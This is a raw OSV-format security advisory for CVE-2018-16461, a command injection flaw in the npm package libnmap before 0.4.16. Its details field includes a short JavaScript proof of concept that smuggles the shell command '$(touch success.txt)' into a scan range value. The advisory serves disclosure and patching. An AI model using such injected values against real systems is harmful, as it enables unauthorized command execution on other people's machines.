原始 OSV JSON
{
"id": "GHSA-7g2w-6r25-2j7p",
"aliases": [
"CVE-2018-16461"
],
"details": "Versions of `libnmap` before 0.4.16 are vulnerable to command injection. \n\nProof of concept\n\n```js\nconst nmap = require('libnmap');\nconst opts = {\n range: [\n 'scanme.nmap.org',\n \"x.x.$(touch success.txt)\"\n ]\n};\nnmap.scan(opts, function(err, report) {\n if (err) throw new Error(err);\n\n for (let item in report) {\n console.log(JSON.stringify(report[item]));\n }\n});\n```\n\n\n## Recommendation\n\nUpdate to version 0.4.16 or later",
"summary": "Command Injection in libnmap",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.16"
}
]
}
],
"package": {
"name": "libnmap",
"ecosystem": "npm"
}
}
],
"modified": "2023-09-07T18:15:41Z",
"severity": [],
"published": "2018-11-01T14:51:33Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16461",
"type": "ADVISORY"
},
{
"url": "https://hackerone.com/reports/390865",
"type": "WEB"
},
{
"url": "https://github.com/advisories/GHSA-7g2w-6r25-2j7p",
"type": "ADVISORY"
},
{
"url": "https://github.com/nodejs/security-wg/blob/master/vuln/npm/474.json",
"type": "WEB"
},
{
"url": "https://www.npmjs.com/advisories/719",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"severity": "MODERATE",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2020-06-16T21:22:42Z"
}
}